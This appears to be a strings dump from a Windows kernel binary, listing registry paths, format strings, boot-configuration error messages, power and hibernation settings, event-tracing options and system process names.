DenyInstanceIDs DenyUnspecified Configurations Descriptors %wZ:%wZ ,%wZ ,%02d/%02d/%04d,%u.%u.%u.%u %hu/%hu/%hu Strings @%wZ,%wZ ;%wZ %wZ:%08x%08x:%wZ:%u.%u.%u.%u:%wZ Service LowerFilters Reboot ShimIds IncludeScope UpperFilters Win32Services IncludedInfs IncludedConfigs Description Manufacturer Control\DeviceLocations Variables Configuration\Reset ClassConfigured Blocked Control\DeviceMigration Control\DeviceMigration\Devices Setup\ResolveFilePaths Interfaces Classes Status HardwareIds CompatibleIds ClassGuid Capabilities Locations DriverInfName Services Duplicate BusDeviceDesc LocationInfo Present Persist \Registry\Machine\SYSTEM SOFTWARE \Registry\Machine\SOFTWARE HARDWARE KeyRoot SYSTEM \Registry\Machine\HARDWARE KeyPath Value PropertyGuid PropertyId ValueName DefaultValue Tokens Switch Default Format Delete \Registry\Machine\System\CurrentControlSet\Control\IDConfigDB CurrentDockInfo EjectableDocks Phantom PLUGPLAY_EVENT_CATEGORY_HardwareProfileChangeEvent PLUGPLAY_EVENT_CATEGORY_TargetDeviceChangeEvent PLUGPLAY_EVENT_CATEGORY_VetoEvent PLUGPLAY_EVENT_CATEGORY_BlockedDriverEvent PLUGPLAY_EVENT_CATEGORY_InvalidIDEvent PLUGPLAY_EVENT_CATEGORY_DevicePropertyChangeEvent PLUGPLAY_EVENT_CATEGORY_DeviceClassChangeEvent PLUGPLAY_EVENT_CATEGORY_CustomDeviceEvent PLUGPLAY_EVENT_CATEGORY_DeviceInstallEvent PLUGPLAY_EVENT_CATEGORY_DeviceArrivalEvent PLUGPLAY_EVENT_CATEGORY_DeviceInstanceRemovalEvent PLUGPLAY_EVENT_CATEGORY_DeviceInstanceStartedEvent PLUGPLAY_EVENT_CATEGORY_UnknownDeviceEvent \systemroot\ Control\Pnp ReplaceDriver HTREE\ROOT\0 Control\IDConfigDB\Hardware Profiles %s\%04u class lower filter device lower filter device function device upper filter class upper filter TurboChannel PCIBus VMEBus NuBus Internal Eisa MicroChannel ProcessorInternal InternalPowerBus PNPISABus PNPBus PCMCIABus CBus MPIBus MPSABus \Driver \Driver\%ws Other DETECTED %ws%ws\%wZ %ws\%wZ OverrideConfigVector ForcedConfig ;(%s) FilteredConfigVector @%s,#%s;%s USB\ PCMCIA 1394\ SBP2\ PCMCIA\ PCI\ PnpManager ContainerId %ws&%ws \DriverStore\Nodes %ws\%ws%ws%ws DriverDatabase %wZ\%ws \System32\config\ Select CurrentControlSet ControlSet001\Enum ControlSet001\Services \REGISTRY\MACHINE\ \SystemRoot\System32\config\ SYSTEM\CurrentControlSet\Control\HiveList DRIVERS InstRootDrive WinPE \Registry\Machine\System\DriverDatabase\Updates DriverDatabaseUpdates System\CurrentControlSet\Control\StateSeparation\PnP\DriverHiveOverlays \SystemRoot C:\Windows %u,_Total _Total %u,%u \Callback\ProcessorAdd \Registry\Machine\System\CurrentControlSet\Control\Compatibility\Device \Registry\Machine\System\CurrentControlSet\Control\Compatibility Shims \Registry\Machine\System\CurrentControlSet\Control\Compatibility\Driver ALPC Port \??\ GLOBALROOT Global DosDevices UNKNOWN \KernelObjects\SuperfetchScenarioNotify BaseTime /prefetch: %s\%ws-%08X.%ws Op-%.17s-%08X \VOLUME{%08lx%08lx-%08lx} SavedSectInfoTracesMax SavedPageAccessTracesMax EnableSuperfetch EnablePrefetcher MaxNumPages PrefetchTimeoutHiberBoot \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters PrefetchTimeoutStandby PrefetchTimeoutHibernate HostingAppList NumTracePeriods MaxNumActiveTraces MaxNumSavedTraces PrefetchRoot PrefetchFlags MaxNumSections TimerPeriod \OSDataRoot RestrictedStandbyDozeTimeoutSeconds fDenyTSConnections ResumeContext Control\Winresume \Registry\Machine\SYSTEM\CurrentControlSet\Control\Terminal Server Enlightened Idle systemManagement terminalPowerManagement InvalidDisplayStateTransition ID_CAP_SCREENOFF RequestQueue Power Button Fixed Timer Override Predicted User Presence Doze to Hibernate Presumed Timer Timer Sleep Button \hiberfil.sys MultiPhaseResumeDisabled HybridBootAnimationTime MaxHuffRatio hiber_ SECURITY_VERSION_NUMBER OS_RELEASE_VERSION \EFI\Microsoft\Boot\boot.stl HiberIoCpuTime KernelResumeIoCpuTime passive active ResumeCompleteTimestamp \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon LastLogOffEndTimePerfCounter %lld \Registry\MACHINE\SYSTEM\CurrentControlSet\Control PPM_Processor_ %s%d EnableEnergySaver \Registry\Machine\Software\Policies\Microsoft\Power\EnergySaver \Device\DxgKrnl Timer(Component:Index): %d:%d Timer(Name:Index): %s:%d Timer(Name:Index): %s:%s Interrupt: %s+0x%08X PowerUserPresent PowerUserInactive PowerUserNotPresent Invalid PoW32kWatchdog DripsDiverge Settings.Hibernate.Battery Updates.Update %d.Timestamp Settings.Hibernate.Battery Updates.Update %d.Battery Percent %04d-%02d-%02dT%02d:%02d:%02d Settings.Hibernate.RSBudgetPercentage Settings.Hibernate.StandbyBudgetRefreshInterval Settings.Hibernate.RSBudgetRefreshInterval Settings.Hibernate.RSBudgetRefreshCount Settings.Hibernate.Battery Updates.Update %d.Full Charge Capacity %d%% Settings.Hibernate.Battery Updates.Update %d.RS Reject Reason Settings.Hibernate.Battery Updates.Update %d.Remaining Charge Capacity Settings.Hibernate.Battery Updates.Update %d.Hibernate Reject Reason (Reserve) Settings.Hibernate.Battery Updates.Update %d.Hibernate Reject Reason (Budget) Settings.Hibernate.StandbyBudgetRefreshCount Settings.Hibernate.StandbyBudgetPercentage \Registry\Machine\System\CurrentControlSet\Services\CAD winresume.efi winresume.exe TRUE DFX Transition Count Problem Device PS4 Transition Count Initiated PS4 Transition %08X DripsWatchdog TTMDCallout Terminal TerminalEventQueue UACInstalled \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableCpuQuota \Registry\Machine\SYSTEM\CurrentControlSet\Control\LsaInformation EnableVirtualization EnableInstallerDetection TypeOfAdminApprovalMode EnableLUA NoRemoteThreadBeforeProcessInit DevOverrideEnable MaxLoaderThreads ProductSuite Terminal Server \SystemRoot\System32\ApiSetSchema.dll ProductOptions TSAppCompat \Sessions\%d\BaseNamedObjects\EventShutdownCSRSS \Sessions\%d\BaseNamedObjects\EventRitExited \Registry\Machine\SYSTEM\CurrentControlSet\Control\OneCore OCFW_Enabled ntdll.dll ForceWakeCharge AppExecutionAliasRedirect UseLargePages NodeOptions IoPriority AllowedCpuSets ImageExpansionMitigation Wow64 Debugger WorkingSetLimitInKB ExpectedConcurrencyCount PagePriority CpuPriorityClass MitigationOptions MitigationAuditOptions PartitionSystm \KernelObjects\Session%d \Registry\Machine\System\CurrentControlSet\Control\RtlFunctionality \NLS\NlsSectionCASE \SystemRoot\System32\c_%.3d.nls \NLS\NlsSectionCP%d \NLS\NlsSectionNORM%.8x \SystemRoot\System32\l_intl.nls \Registry\Machine\System\CurrentControlSet\Control\Nls\Normalization \SystemRoot\System32\%s FilterFullPath \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options UseFilter OEMCP \Registry\Machine\System\CurrentControlSet\Control\Nls\CodePage %%%u %%%u!%s! \Registry\Machine\System\CurrentControlSet\Control\StateSeparation\RedirectionMap\Files \Registry\Machine\System\CurrentControlSet\Control\StateSeparation\RedirectionMap\Keys Global\Session\%ld%s \AppContainerNamedObjects \Registry\Machine\Software\Microsoft\SecurityManager\AdminCapabilities TargetNtPath %s\%u-%u-%u-%u S-1- \BaseNamedObjects %s\%ld\%s BaseNamedObjects AppContainerNamedObjects TimeZoneInformation TimeZoneInformationSettings ActiveTimeBias Time Zones System Volume Information ObjectLength SHA1 Microsoft Primitive Provider LanmanNt ProductType \Registry\Machine\System\CurrentControlSet\Control\ProductOptions WinNt ServerNt Compact AuditLevel MICROSOFTELAMCERTIFICATEINFO MSELAMCERTINFOID WSLicensingService-LOBSideloadingActivated Kernel_Lsa_Ppl_Config \SeLsaCommandPort AnonymousAppContainerImpersonationLevelCheck \Registry\Machine\System\CurrentControlSet\Control\Lsa POLICYAPPID:// SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIMNOTINHERITED EveryoneIncludesAnonymous \Global?? \Sessions\%d\DosDevices\%08x-%08x SymbolicLink TSA://ProcUnique \Sessions\%d %u-%u-%u-%u CrashOnAuditFail \Registry\Machine\System\CurrentControlSet\Control\Lsa\CentralizedAccessPolicies\CAPs \Registry\Machine\System\CurrentControlSet\Control\Lsa\CentralizedAccessPolicies\CAPEs %s\%d FullPrivilegeAuditing \ADT_ETW_CHANNEL_INIT Bounds \Device\RdyBoost EncryptionMode EncryptionScope \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Memory Management\StoreParameters ChainingModeCCM BlockLength ChainingMode MaxAcceleratorsPerNuma DescriptorsPerRequest \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Memory Management\StoreParameters\CacheInfo EnableKernelFlags Diagnostics\Performance\SecondaryLogonCKCLSettings Diagnostics\Performance\ShutdownCKCLSettings \Registry\Machine\System\CurrentControlSet\Control\ Diagnostics\Performance\BootCKCLSettings2 Diagnostics\Performance\BootCKCLSettings WaitingForLogonEnableKernelFlags \Registry\Machine\System\CurrentControlSet\Control\Diagnostics\Performance DisableDiagnosticTracing PerfDiag Logger ActiveShutdownDCL Diagnostics\Performance WdiContextLog DiagLog \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\Control\WDI\Config SEMEnabled ScenarioTimeoutEnabled Instrumentation \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\Control\WDI\Scenarios Config ScenarioExecutionEnabled ScenarioExecutionRestrictions CaptureState EnableProperty EndEvents ContextProviders SEMTimeOutValue SEMUpdate Level Keyword \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows\WDI %08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x %ws_%d \WmiGuid\ \Registry\Machine\SYSTEM\CurrentControlSet\Control\WMI\Restrictions HideMachine REGUPDATEINFO %ws%d ETWSecurityPath WMI\Security 00000000-0000-0000-0000-000000000000 PreferredProfile \Registry\Machine\Hardware\Description\System BootArchitecture Circular Kernel Context Logger Eventlog-Security NT Kernel Logger %SystemRoot% %DriverData% .etl \??\UNC\ %ws%ws AllowsHalt CMask EdgeDetect AnyThread Stepping Event Unit Interval \Registry\Machine\System\CurrentControlSet\Control\WMI\ProfileSource %ws\%ws Family Model \system32\Logfiles\WMI\ %ws%ws%ws%ws %ws%ws%ws .%03d %ws\%ws:%d %ws-%ws:%d CMaskInvert HostGuest PmuType Architecture svchost.exe \Registry\Machine\System\CurrentControlSet\Services\FileInfo oemsvchost.exe \Device\FileInfo %wZ%wc%wZ %wZ%wc%wZ%wc%wZ (null) EtwSessionDemuxEntry \Registry\Machine\System\CurrentControlSet\Control\WMI\AutoLogger ClockType MaxFileSize LogFileMode DisableRealtimePersistence FlushTimer MaximumBuffers FileName StackWalkingFilter Immutable FlushThreshold BufferSize MinimumBuffers \Registry\Machine\System\CurrentControlSet\Control\WMI\GlobalLogger GlobalLogger ETWAutoLoggerPath ETWGlobalLoggerPath Names %ws\StackLevelKwFilter %ws\Filters ExeFilter MatchAnyKeyword MatchAllKeyword FilterIn NameCount StackCaching EnableSecurityProvider DisallowList V2Options Guid FileCounter FileMax PoolTagFilter EnableStatus EventNameFilter StackNameFilter EnableLevel EnableFlags SchematizedFilters ContainerFilter EventIds StackWalkIds PackageIdFilter PackageRelativeAppIdFilter EventIdFilterIn StackWalkFilterIn EtwRT%ws.etl %SystemRoot%\system32\Logfiles\WMI\RtBackup\ 425500 Host MachinePreferredUILanguages MachineLanguageConfiguration Control Panel\Desktop\LanguageConfigurationPending Control Panel\Desktop\LanguageConfiguration Control Panel\Desktop\MuiCached \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings \Registry\Machine\System\CurrentControlSet\Control\Nls\Language Control Panel\Desktop PreferredUILanguagesPending PreferredUILanguages Locale Control Panel\International \Registry\Machine\System\CurrentControlSet\Services\condrv Idle \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration NumberOfInitialSessions ext-ms-win-session-wtsapi32-l1-1-0 Session Manager StateSeparation\Policy Kernel-ExpirationDate Boot%04x Boot%04X BootOrder Microsoft.firmwareRead_cw5n1h2txyewy smbios Kernel_ Microsoft.firmwareWrite_cw5n1h2txyewy \Device\Harddisk%lu\Partition0 %08x \ArcName\ \ArcName -%08x-%016I64x-%016I64x) Driver%04x Driver%04X signature( \Device\Harddisk%lu\Partition%lu BootCurrent Timeout DriverOrder BootNext \Registry\User\S- IoThreadpool KernelExecutive \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Executive \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control\CMF\SqmData %s\rc%04u\segment%u.cmf \SystemRoot\Rescache CMFStopTime %s\rc%04u\rescache.dir %s\rc%04u\rescache.hit CMFLastStartTime CMFStartTime SystemLastStartTime SystemStartTime \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\Control\HAL\OriginalImageFeatures OriginalImageVersion \Registry\User\ \Software\Classes\NotificationData WHEA WHEA\Policy \REGISTRY\ \Registry\Machine\Security\SAM \Registry\Machine\SAM\SAM \Registry\User\S-1-5-18 \Registry\User\.Default CurrentLanguage %0*X \Registry\Machine\System\ControlSet%03d \Registry\Machine\%wZ\CurrentControlSet AcpiSerialNumber DockingState CurrentConfig %04d Pristine Aliasable ProfileNumber AcpiAlias PreferenceOrder Hardware Profiles ------- FriendlyName Undocked Docked %s %u Cloned Alias HwProfileGuid Hardware Profiles\%04d \Registry\Machine\%wZ\CurrentControlSet\Hardware Profiles\%04d %04d DockID SerialNumber ShutdownPath CurrentBuildNumber LastBootPerfCounterFrequency ShutdownStopTimePerfCounter ShutdownStopTimePerfCounterUBR ShutdownStopTimePerfCounterCurrentBuildNumber \Registry\Machine\System\Select BuildNumber MinorVersion BuildStamp BuildQfe MajorVersion IsChecked IsTopLevel OrderNumber BuildBranch BuildArch BuildLabEx BuildLab \SystemRoot\System32\Config\ TotalBytesSaved \registry\machine\system\CurrentControlSet\Control\Session Manager\Configuration Manager\Defrag LastRun %02d:%02d:%04d _Classes \VirtualStore \SystemRoot\System32\Config\RegBack\ .OLD registryRead \registry\machine\system\currentcontrolset\control\hiveredirectionlist \registry\machine\system\currentcontrolset\control\hivelist \SystemRoot\System32\Config\SYSTEM Container%020d AutoSelect select ControlSet000 ProductPolicy Control\FastCache Control\ProductOptions .blf .cnpf \RPC Control\FconAlpcPort \SystemRoot\System32\drivers\ ksrext.sys MemoryManager ClearPageFileAtShutdown cannot find %02x \SystemRoot\Temp\kdfile_ failed to load %ws%wZ Kernel-MemoryMirroringSupported Image not found BcdOpenSystemStore: Failed to acquire BCD sync mutant.Status: %x NULL Failed to get system store path. Status: %x Failed to export unload alterations to firmware. Status: %x Exporting forcible unload to firmware BcdForciblyUnloadStore: Failed to acquire BCD sync mutant. Status: %x Closing store. Flags: 0x%x BcdCloseStore: Failed to acquire BCD sync mutant. Status: %x Failed to open system store. Status: %x Store will be synchronized with firmware. Opening store. Flags: 0x%x BcdOpenStore: Failed to acquire BCD sync Mutant. Store: %wsFlags: 0x%x Status: %x Objects Failed to find a key to load store %s. Last attempted key: %ws Too many unexplained failures. File: %s Last status: %x Failed to load hive into key %ws from %s. Status: %x Loaded hive at BCD%08d BCD%08d TreatAsSystem KeyName Failed to export alterations to firmware. Status: %x Exporting alterations to firmware. BcdSetSystemStore: Failed to set mark as system store.Status: %x BcdSetSystemStore: Failed to set store as system store.Status: %x The system store is not already loaded Store %s is the system store Found loaded store at key %s Opening system store. Flags: 0x%x File is not system store. File: %ws Status: %x Failed to mark system store. File: %ws Status: %x Failed to add system store from file. File: %ws Status: %x \Registry\Machine Failed to set description key value. Store: %s StoreKey: %ws Status: %x Failed to open description key for store. Store: %s StoreKey: %ws Status: %x A valid store must have a description key. Failed to initialize description key for store. Store: %s StoreKey: %ws Status: %x Failed to initialize objects key for store. Store: %s StoreKey: %ws Status: %x BcdFlushStore: Failed to acquire BCD sync mutant. Status: %x Failed to bind with firmware. Flags: 0x%x Status: %x Synchronizing store with firmware Specified flags prevent opening unloaded system store Failed to open key for all objects. Status: %x Opening object %s Failed to get object identifier. Status: %x Elements Object GUID: %s Generating object GUID. Creating object. Version: %d. Type: 0x%08x Failed to open object's key. Status: %x Object alias resolves to %s Failed to update object GUID string. Status: %x Failed to get aliased identifier. Status: %x Deleting element %08x Failed to set registry data for element %s. Status: %x Failed to convert data for element %s. Status: %x Failed to open key for element %s. Status: %x Failed to open key for object's elements. Status: %x Setting element %08x BcdGetElementDataWithFlags: Failed to get registry value.Object: %ws Reg type: %lu Status: %x Element BcdGetElementDataWithFlags: Failed to open key.Object: %ws Type: %ws Status: %x BcdGetElementDataWithFlags: Failed to open elements key.Object: %ws Status: %x BcdGetElementDataWithFlags: Failed to acquire BCD sync mutant. Status: %x String not multiple of WCHAR. Length %lu DataType: %lu Unexpected length for BCD element. Length %lu DataType: %lu Exceeded length for BCD element. Length %lu Expected: %lu DataType: %lu BCD resolve locate not supported. Status: %x Unexpected length for BCD element. Length %lu Expected: %lu DataType: %lu Insufficient length for BCD element. Length %lu Required %lu DataType: %lu Failed to open element %ws key for delete. Status: %x Failed to open key for all object's elements. Status: %x \Device\Ramdisk{d9b257fc-684e-4dcb-ab79-03cfa2f6b750} Harddisk Directory \??\PhysicalDrive%lu \Device\%s\Partition%lu \Device \Device\HarddiskVolume FirmwareVariable System partition: %s Failed to get system partition. Status: %x System store path: %s Using cached BCD path: %s system32\config\BootBCD \OSDataRoot\Windows\ Unexpected type for BCD element. Expected type: 0x%x Actual type: 0x%x Failed open newly loaded key %ws. Flags: 0x%x Status: %x Failed load key %ws. Flags: 0x%x File: %s Status: %x Failed to acquire permissions to load hive. Status: %x Failed open key %ws. Status: %x \Registry\Machine\SYSTEM\CurrentControlSet\Control \Registry\Machine\System\CurrentControlSet\Control\MiniNT MININT SystemStartOptions PortableOperatingSystem Created new boot entry 0x%x Created boot entry 0x%x using cached variable Updating BootEntry: %d BiBindEfiEntries failed %x Boot entry exists for DontSync with ID 0x%x BiBindEfiBootManager failed %x BiBuildIdentifierList failed %x \EFI\Microsoft\Boot\BCD BiExportStoreAlterationsToEfi failed %x Exporting store alterations to efi BiBindEfiNamespaceObjects failed %x Binding EFI namespace objects BiCreateBootEntry: Could not retrieve BCD Object application description. Status: %x Translated a DontSync object to ID 0x%x Translated a DontSync entry with ID 0x%x BCDOBJECT= BiUpdateEfiEntry failed %x BiSpacesUpdatePhysicalDevicePath failed %x BiExportEfiBootManager failed: %x BiExportBcdObjects failed %x BiCreateEfiEntry failed %x Failed to query boot options. Status: %x Failed to query boot entry order. Status: %x Failed to set boot options. Status: %x Failed to set boot entry order. Status: %x Failed to modify boot entry 0x%x. Status: %x Failed to delete "%ws" variable. Status: %x Failed to query "%ws" variable. Status: %x Failed to delete boot entry 0x%x. Status: %x Deleting boot entry 0x%x Failed to enumerate boot entries. Status: %x Failed to add boot entry. Status: %x %s%s BiCreateBootEntry: Could not retrieve BCD Object application path. Status: %x BiCreateBootEntry: Could not retrieve BCD Object application device. Status: %x \Boot\BCD WindowsSysPartDevice FirmwareBootDevice \??\PhysicalDrive%d partition multi(%d)disk(%d)rdisk(%d)partition(%d) \EFI\Microsoft\Boot\bootmgfw.efi SystemPartition \Registry\Machine\SYSTEM\CurrentControlSet\Control\Syspart multi(%d)disk(%d)rdisk(%d) %s\Partition%lu \Partition0 \ArcName\multi(0)disk(0)rdisk(0) \ArcName\multi(0)disk(0)rdisk(1) Control\CriticalDeviceDatabase Control\DevicePanels Control\DeviceContainers Control\DeviceInterfaces Control\DeviceClasses Control\Class HardwareConfig Control\CoDeviceInstallers Hardware Profiles\ Enum\ System\CurrentControlSet\ Control Device Parameters %s\%04u\%s\%s System\CurrentControlSet\Control\Class %s\%04u\%s\%s\%s System\CurrentControlSet\Hardware Profiles %s\%s\%s\%s System\CurrentControlSet\Hardware Profiles\Current System\CurrentControlSet\Enum Driver Parameters ZZZZ 999A Root\ \\?\ Control\DeviceClasses\ Control\Class\ %s\%04u\%s System\CurrentControlSet\Control\DeviceClasses BaseContainers Control\DeviceContainers\ System\CurrentControlSet\Control\DeviceContainers\%s DeviceInstance %ws\%04X\%u Control\DevicePanels\ System\CurrentControlSet\Control\DevicePanels\%s %04lX {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\%04lX %d-%d-%d *Lower *Upper %ws\*%X %ws\%X Microsoft Windows Version %ws\%ws\%ws \REGISTRY\MACHINE SBYTE EMPTY [(%s %3d) %s %s] User (NULL) BOOLEAN FILETIME DATE CURRENCY GUID_ARRAY GUID DECIMAL DOUBLE FLOAT UINT64 INT64 UINT32 INT32 UINT16 INT16 BYTE ({%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}) (%.6e) (0x%.16I64x) (0x%.8x) (0x%.4x) (0x%.2x) STRING_INDIRECT NTSTATUS ERROR BINARY DEVPROPTYPE DEVPROPKEY SECURITY_DESCRIPTOR_STRING SECURITY_DESCRIPTOR STRING_LIST STRING (>=) (==) (Exists) (IGNORE_CASE) (NOT) NOT( AND( [%s] (%s) (FALSE) (TRUE) (array_contains) (list_contains) (contains) (ends_with) (begins_with) (<=) \Device\ahcache Session Manager\Configuration Manager \Device\VRegDriver VRegConfigurationContext 189900 \Silo_ DisableLKG \Registry\Machine\System\LastKnownGoodRecovery\LastGood \Registry\Machine\System\LastKnownGoodRecovery\LastGood.Tmp \SystemRoot\LastGood \SystemRoot\LastGood.Tmp \Registry\Machine\Software\Policies\Microsoft\MUI\Settings DefaultFallback \Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages \Registry\Machine\System\CurrentControlSet\Control\NLS\Language InstallLanguageFallback EventTracingCounterSet Bias TimeZoneKeyName 0123456789ABCDEF StandardName DaylightName StandardBias DaylightBias StandardStart DaylightStart BTHENUM\ DynamicDaylightTimeDisabled LastEntry FirstEntry Dynamic DST Time Zones\ \Dynamic DST SequenceNumber {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} \SystemRoot\AppPatch\drvmain.sdb \SystemRoot\AppPatch\drvpatch.sdb null Software Filters Events \SystemRoot\ System32 Driver Device Services Interfaces Devices Components Instance Properties Class Control Interrupt Management e5b3b5ac-9725-4f78-963f-03dfb1d828c7 DMA Management Classes Constant Expression SwitchCase FormatString DeviceProperty KeyValue KeyCopy GenerateGuid Null True False Empty \SystemRoot %SystemRoot% \DriverStore\Nodes \SystemRoot\System32 GLOBAL?? \GLOBAL?? \ObjectTypes GLOBALROOT DosDevices ObjectTypes \KernelObjects KernelObjects Global AppLaunch Activity TimeBrokerSvc BrokerInfrastructure TestIdentifier Unknown Battc ArTestIdentifier AudioSrv Bthport Cmbatt KNetPwrDepBroker MsGpioWin32 ButtonConverter MsGpioClx Button Acpi NtosPo SensorService Power WinLogon LfSvc System Time System Power State Event Code Full Wake EX Wake Timer Unarmed Clock Tick Non-Clock Owner Timer Internal Timer Watchdog Timer Debug Poll Non-IR Exempt Timer Accounting Failure Query Failure Spurious Interrupt Spurious Clock Spurious Wake Suspend Apps Init Block Session Switch Monitor On (User Present) Builtin Panel State Change Session Off Session On Monitor On (Complete) Monitor Dim Policy Display Burst RIT Timeout RIT Active Monitor Dim Screen Saver Monitor Off Monitor On Suspend Resume Notification Prepare Sleep End Partition Replace Start Partition Replace Flush UnBlock Session Switch Resume Services Resume Apps Notify WL Suspend Services Session Manager\Kernel DefaultHeteroCpuPolicy DefaultDynamicHeteroCpuPolicy DynamicHeteroCpuPolicyMask DynamicHeteroCpuPolicyImportant DynamicHeteroCpuPolicyImportantShort DynamicHeteroCpuPolicyImportantPriority DynamicHeteroCpuPolicyExpectedRuntime Audio Activity Already Triggered Internal Failure Hibernate Doze Disabled Precise Drain Not Consumed Budget Action Disabled By Errata None Budget Action Not Enabled Power Source Reserve Battery Action Not Enabled Budget Grace Period Not Reached Budget Not Consumed Reserve Battery Capacity Not reached SRUM Failure Reserve Grace Period Not Reached Reserve Time Limit Not Reached ntdll32.dll \SystemRoot\System32\vertdll.dll vertdll.dll \System32 \SystemRoot\System32\ntdll.dll ntdll.dll \SystemRoot\SysWOW64\ntdll.dll \KernelObjects\CpuPartitions Path= SystemDrive= SystemRoot= \KernelObjects\CpuPartitions\SystemCpuPartition PsHostSilo \GLOBAL??\ NonPagedPoolQuota \Registry\Machine\Software\Policies\Microsoft\Windows\Session Manager\Quota System PagedPoolQuota PagingFileQuota WorkingSetPagesQuota \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Quota System WIN://PKG WIN://SYSAPPID PsWorkingSetAdjust PerfOptions LargePageDLLs PRIVATENETWORKCLIENTSERVER PICTURESLIBRARY INTERNETCLIENT INTERNETCLIENTSERVER APPOINTMENTS CONTACTS SHAREDUSERCERTIFICATES REMOVABLESTORAGE DOCUMENTSLIBRARY ENTERPRISEAUTHENTICATION VIDEOSLIBRARY MUSICLIBRARY \Registry\User\.Default \Registry\Machine\Hardware\DeviceMap \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion \Registry\Machine\System\CurrentControlSet\Control \Registry\Machine\System\CurrentControlSet\Services WIN://BGKD WIN://PKGHOSTID autochk.exe winlogon.exe userinit.exe lsass.exe wininit.exe genvalobj.exe sppsvc.exe services.exe wintesttcbpp.exe MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy\aicontext.exe MicrosoftWindows.Client.AIX_cw5n1h2txyewy\aihost.exe fclip.exe azshci\HciSvc.exe SIHClient.exe sgrm\sgrmbroker.exe securityhealthservice.exe csrss.exe werfaultsecure.exe smss.exe wintestaudit.exe authtestpp.exe amtestppl.exe codegentestppl.exe wintestnpp.exe wintestppl.exe wintestpp.exe wintesttcbppl.exe \SeRmCommandPort \Registry\Machine\SYSTEM\CurrentControlSet\Control\Windows FullProcessInformationSID \Device\UwfvolControl \Registry\Machine\System\Setup PhoneNT Kernel-ProductType WH Server SystemSetupInProgress Personal Blade EmbeddedNT DataCenter Storage Server Compute Server Embedded(Restricted) Security Appliance Small Business Enterprise \Registry\Machine\System\CurrentControlSet\Services\LicenseInfoSuites ConcurrentLimit Small Business(Restricted) Terminal Server CommunicationServer BackOffice \Registry\Machine\System\CurrentControlSet\Control\ProductOptions ProductType SetupType SystemPrefix WinNT ProductSuite LanmanNT ServerNT \Callback\SeImageVerificationBlockInfo \Callback\SetSystemTime \Callback\SetSystemState \Callback\EnlightenmentState \Callback\Phase1InitComplete \Callback\SeImageVerificationDriverInfo \Callback\PowerState \Callback\ProcessorAdd \Callback\LicensingData OSProductPfn OSProductContentId ClipProductOptions ProductPolicy CloudbookDeviceLocked Security-SPP-IgnoreDeferredActivation CloudbookDeviceID Clip-SubscriptionPFN ConsumeAddonPolicySet \NLS \SystemRoot\System32\locale.nls \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Notifications \REGISTRY\MACHINE\OSDATA\Notifications \Registry\Machine\System\CurrentControlSet\Control\Notifications \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\VolatileNotifications SecondaryDCache SecondaryCache PrimaryDCache SecondaryICache ScsiAdapter DtiAdapter EisaAdapter TcAdapter FloatingPointProcessor PrimaryICache System CentralProcessor DockingInformation RealModeIrqRoutingTable NetworkPeripheral SystemMemory \OSDataRoot RealModePCIEnumeration Undefined PrinterPeripheral PointerPeripheral ModemPeripheral MonitorPeripheral OtherPeripheral LinePeripheral KeyboardPeripheral TerminalPeripheral KeyboardController AudioController ParallelController PointerController FloppyDiskPeripheral TapePeripheral OtherController DiskPeripheral TapeController CdRomController MultifunctionAdapter DiskController NetworkController DisplayController WormController SerialController SYSTEM SymbolicLinkValue Registry CONTROLSET001\SERVICES\MPSSVC ProcessorControl \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\SERVICES\EVENTLOG \REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\SESSION MANAGER\MEMORY MANAGEMENT \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\BOOTLOG \REGISTRY\WC \REGISTRY\A \REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SHUTDOWN \REGISTRY\USER \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\ENUM \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\ENUM\ROOT \REGISTRY\MACHINE\SYSTEM \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\CLASS \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\SAFEBOOT \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\SERVICES \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\HARDWARE PROFILES\CURRENT \REGISTRY\MACHINE\HARDWARE \REGISTRY\MACHINE\HARDWARE\DESCRIPTION \REGISTRY \REGISTRY\MACHINE \REGISTRY\MACHINE\HARDWARE\RESOURCEMAP \REGISTRY\MACHINE\HARDWARE\OWNERMAP \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM \REGISTRY\MACHINE\HARDWARE\DEVICEMAP .LOG2 .LOG .LOG1 DEVICES CurrentConfig \REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PERFLIB 